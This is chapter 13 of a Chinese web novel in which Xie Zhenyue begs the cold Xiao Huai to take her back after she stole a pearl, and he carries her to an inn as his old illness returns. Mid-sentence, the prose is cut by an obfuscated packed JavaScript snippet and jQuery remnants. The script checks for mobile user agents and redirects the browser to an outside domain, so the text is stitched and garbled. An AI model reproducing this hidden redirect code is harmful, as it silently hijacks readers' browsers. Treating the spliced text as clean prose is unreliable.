13. 第 13 章

作品:《寒鸦争渡

    金玉笙,李谦等十余人目光紧锁,朝着同一个方向,屏息凝神。


    一道黑影“嗖”的一下从林中蹿出。黑影四蹄矫健,横冲直撞,飞速地掠向林中深处。


    “娘的,吓我一跳!”众人啐了一口,围拢的人群骤然松懈,嘻嘻哈哈地四下散开。


    “噤声!”金玉笙神色突然凝重,挥手喝止,“有人来了!”


    夜色中,有马蹄声朝这边靠近!是谁来了?


    谢枕月瞬间紧张起来,会是萧嵘发现她不见了,派人来找她吗?还是萧淮得知她偷了鲛珠,派人来抓她回去受罚?


    本来已经做好最坏的打算,现在突然来了希望。她几乎用尽全身力气,才让手指攀上了车窗边缘。


    “谢枕月可在马车里!”


    “在……在的!”李谦连声应和。


    是孟东啊!谢枕月听到那冷冰冰的声音,突然也觉得有些亲切。哪怕临走前自己把他坑惨了,但总比落到这些人手里强百倍。大不了回去后,她在萧嵘面前装乖卖巧,少受些惩罚。


    谁知道这个念头才过脑,她就听到金玉笙结结巴巴的讨好声。


    “萧……萧五爷,您怎么亲自来了!”


    “谢姑娘在马车里!”金玉笙跟李谦对视一眼,都在对方眼里看到一丝庆幸,还好,还好,他们什么都没来得及做。


    谢枕月悬着的心一下就死了。


    完了!


    之前萧淮就对她喊打喊杀,现在萧嵘不在,新仇旧怨,这人还指不定怎么对她?


    帘子被粗鲁地掀开。


    她指节一软,整个人“吧嗒”一下,摔在车厢里。


    看见那个熟悉的轮廓,谢枕月不自觉往后瑟缩:“我……错了!我错了!”她立马认怂。


    “我真的知道错了,鲛珠在我怀里,我……我伤势复发了。”话还没说完,她已经呜呜哭了起来,“五叔救命,他们要谋财害命!”


    谢枕月一半是装的,一半是疼的。


    “没有,绝对没有!”李谦立马怪叫起来,睁眼说瞎话道,“五爷,我们是正经生意人,得知谢姑娘是偷跑出来的,正准备折返金水城!”


    “对对对!”金玉笙在后面连连应声,“正准备折返,折返……”


    萧淮对他们的辩解置若罔闻。他连日不进米粒,面色苍白如纸,站在马车外如同索命的修罗。那双深不见底的眸子,落在摊软如泥的谢枕月身上,声音冷的没有一丝温度:“鲛珠。”


    “在……在我怀里……”旧债未清,又添新账,甚至都不要他动手,只需要把她丢下就能一劳永逸,谢枕月越想越害怕。不管用什么办法,绝不能让他走掉。现在,她腿上不便,只能先把人骗上马车再说。


    她放软嗓音:“我没有力气了,您自己来取吧。”


    “完好无损,”怕他不相信,又哽咽着保证,“真的,您一看就知道了,呜呜……”抽泣声止不住的从喉间溢出,配上水汪汪的眼睛,显得格外可怜。


    萧淮抬脚一迈便踏入马车。谢枕月配合地微微侧过身子,衣料窸窣作响,他俯身时带来一阵药香。探出的手在半空中顿了几息,接着毫不犹豫地探入她襟口,手背不经意地碰上棉柔的衣料。


    谢枕月“唰”地抬头,萧淮却像无知无觉,连眼风都未扫过她,眼里只有失而复得的鲛珠。


    莹润流光在他指尖浮动,映得他眉眼冷寂。确认无误后,他立即将鲛珠贴身收起,转身就走。


    “五叔!”谢枕月慌忙攥住他垂落的袍角:“带我一起。”


    萧淮脚步一滞,盯着她手指:“不是旧伤复发?”


    谢枕月仰起脸,找了个自认为好看的角度,泪珠滚滚而下:“只有腿伤是真的!我不这么说,您一定会丢下我的……”


    “倒有几分自知之明,”萧淮冷嗤一声,“鲛珠之事,我可以不与你计较。你有心求去,没人会拦你,现在,你可以走了。”


    他甩了下衣袍,却没甩脱那只紧紧拽着他的手。


    这老男人实在是个睁眼瞎,她的媚眼抛给傻子看。腿上的伤还非他不可,谢枕月索性不要脸皮了,反正也没人看见。


    她不管不顾的扑上前,双臂紧紧缠住他一条腿,整个人几乎挂在上面。


    “千错万错都是我的错,您要怎么罚我都可以,千万别将我留在这里,求您……求您!”


    连日的积压倾泻而出,她甚至不用酝酿情绪,哭得浑身发抖:“大伯一定很着急……您要是不愿见我,我立马回萧王府闭门思过,再不会再出现在您眼前。还有凌风,呜呜呜……”


    “我……我还没有同他道别,还有萧爷爷也要回来了……呜呜呜……”


    “鬼话连篇!既然牵挂这么多人,你又怎么会出现在这里?”萧淮平生最厌恶被人碰触,此刻拖着这个挂件往前迈了两步,下袍已被她扯的变形。


    谢枕月却抱得更紧,像濒死之人,抓住了救命的浮木。萧淮再不济,至少不会像这些心思叵测的镖师一样,用肮脏的手段折辱她。


    任他怎么说,谢枕月就是不松手。


    “不放……”脸面可以不要,矜持可以不顾,但这条命,好不容易苟到如今,她绝不能丢。


    萧淮深吸一口气,强压下将她一掌拍死的冲动,从牙缝里冷冷挤出几个字:“你要如何?”


    见他语气有松动的迹象,她立马惊喜的仰起脑袋,一双湿漉漉的眼睛,直直望进他眼底,软声哀求道:“带我一起回去!”这脸对别人都好使,对萧淮她已经不抱希望了,只要能换一点恻隐之心也够用。


    只要能回去,她求萧嵘可太容易了。


    “五叔,只要您带我回去,任劳任怨,绝不敢有丝毫怨言,我保证,绝不给您添乱,你说往东就往东……”


    陌生的触感让他十分不适:“先放手!”话音刚落,她非但没松手,反而将微凉的侧脸也紧紧贴在了他腿上。


    夏日衣衫单薄,“谢枕月!”


    萧淮厉声斥责,忍无可忍,猛地抬脚抽离。他明明没用什么力气,她却轻飘飘的,仿佛没骨头似的,整个人不受控制地向后跌去,“砰”地一下撞上车壁,接着软软地滑了下去。


    他呼吸一滞,下意识俯身揽住她肩头:“你……”话还没出口,一只冰凉刺骨,带着潮意的手又攀上了他的手指。


    她不是故意要靠上去的,实在是没力气支撑了。肚子翻江倒海的痛,之前连跪了好几日,整条腿又痛又麻,能忍到现在已经是极限。


    谁知道他不做人,还要踢她一脚,谢枕月双目紧闭,有气无力地呢喃:“别,别丢下我,他们不但要偷走鲛珠,看我长的好看,还打算连人也不放过……”


    萧淮:……


    那日的莲子害他时至今日都食不下咽,还没缓过劲来,又得知她偷了鲛珠。来之前,萧淮杀了她的心都有,此刻看着无赖一样的谢枕月,却仿佛一拳打在棉花上,满腔的怒火化作了深深的无奈。


    马车里的声音,每传来一句,金玉笙等人的脸色便白上一分。


    李谦又怕又悔,竟是鲛珠!


    他小心翼翼地靠近马车:“五爷明鉴,谢姑娘金枝玉叶,我们绝不敢生出觊觎之心!”


    他顿了顿,偷眼觑了眼马车,里头突然安静下来,这让他有些心慌:“我们打算折返,谁知谢姑娘就翻脸……”


    “论迹不论心,只要没做过,那就不必害怕。”孟东打断了他们喋喋不休的辩解。


    事实如何,萧淮确


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16430670|184689||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    实不关心。他往地上瞧了眼,谢枕月双目紧闭,只有手臂还紧紧箍在他腿上,生怕他跑了似的。


    他轻叹了口气,终于大发慈悲的在软垫上坐下。


    那只因用力而发白的手渐渐脱力松开。随着马车起伏,她的脑袋如同风中飘荡到枝叶,一下又一下,磕在他腿上及车壁之间。随着一个颠簸,整个人一下子滑到了地上。脸颊就贴在他满是泥印的脚边,萧淮默然凝视她许久。


    谢枕月的症状,他其实略知一二。三嫂在世时,便是她隔三差五地来他这,寻些生血补气或是每月止痛的方子。


    他从没见过哪个女子能像她这般,大把的珍药扔下去,身体还能亏损到这个地步。也难怪每月会持续腹痛至此。


    地上寒气逼人,萧淮犹豫了下,终于伸手将人提溜起来,掌心却触及一片冰冷的潮湿。在这样闷热的夏夜,她却出了满身的冷汗。指节微微一顿,轻叹了口气,认命般把人揽到自己腿上。


    怀中的她,即使在昏睡中,也不得安宁,细弱的啜泣声断断续续,眼泪不断从眼角渗出。谢枕月的身体像一团冰块,怎么捂都捂不热。


    罢了,总归是个病人!萧淮鬼使神差地将掌心贴在她下腹,渡了些内力替她缓解。


    没料到惹来她一阵扭动,整个脑袋都埋进他臂弯之中,冰冷的脸颊转换阵,又贴上了他的胸腹。萧淮骤然僵硬,把人往外推了推,她却跟牛皮糖似的又贴了上来。


    连昏睡了都不安分,要不是手指还扣在她腕上,他差点以为她是故意的。


    夏衫单薄,隔不住彼此体温的交融,不知过了多久,她终于暖和起来,仿佛变作了一团温软的云。一丝甜香瞧然钻入他的鼻腔,萧淮神思混沌,忽然觉得一阵心烦意乱。


    竟觉得怀里的身躯温度高得灼人,心头蓦地一颤,慌忙将人推开稍许,伸手入怀,却没摸到熟悉的药盒。


    “孟东!”萧淮抬手,急切地在车壁上叩击。


    “五爷,您有什么吩咐?”来的却是九川。自从孟东也被谢枕月骗后,数他最开心,看他以后还敢不敢说他,拿脑子换的武学天赋。


    “还有多久到金水城?”拜谢枕月所赐,他的旧疾怕也要提前复发了,最要命的是,他没带压制的药物,人又不在寒鸦林。


    “还早呢,现在才天亮,最快也要到午后了吧。”


    孟东听出他语气里的不同寻常,忙上前:“五爷,您怎么了?”


    “尽快赶回寒鸦林,你先行一步,先去将那药盒取来。”


    这话一出,孟东和九川立马知道大事不好。孟东道:“我速去速回,你护好五爷。”


    金玉笙没敢问发生了什么,一行人护着马车在路上跑的快飞起来。


    城门守卫老远就看见飞奔的马车,到了跟前也不见缓了速度,正想喝止,却见打头的是九川,又慌忙避让。


    “这金玉笙不是去长安吗,怎么这么快就回来了?”


    “五爷身边的九川怎么跟他们一起了?”


    几名守卫面面相觑,谁也不敢追上去多问。


    “客栈到了,”李谦话还没说完,就见萧淮抱着谢枕月脚不沾地地掠下马车,猴急地冲进客栈,连老板的问候都充耳不闻,哪有往日的淡然自持?


    一旁的九川紧紧跟在他身后,他本不想多话,不经意回头的一瞥,见镖局众人满脸惊愕之色地定在原地,眼珠子都快瞪出眼眶。


    他主子是旧疾复发,这些人这副嘴脸是做什么?


    九川心里的火一下子就冒了上来,学着孟东的样子板起脸,冷冷道:“今日之事,谁敢出去多嘴多舌,别怪我不客气!”


    哼!他自认为已经严厉警告过这些人,放心地追在萧淮身后进了客栈。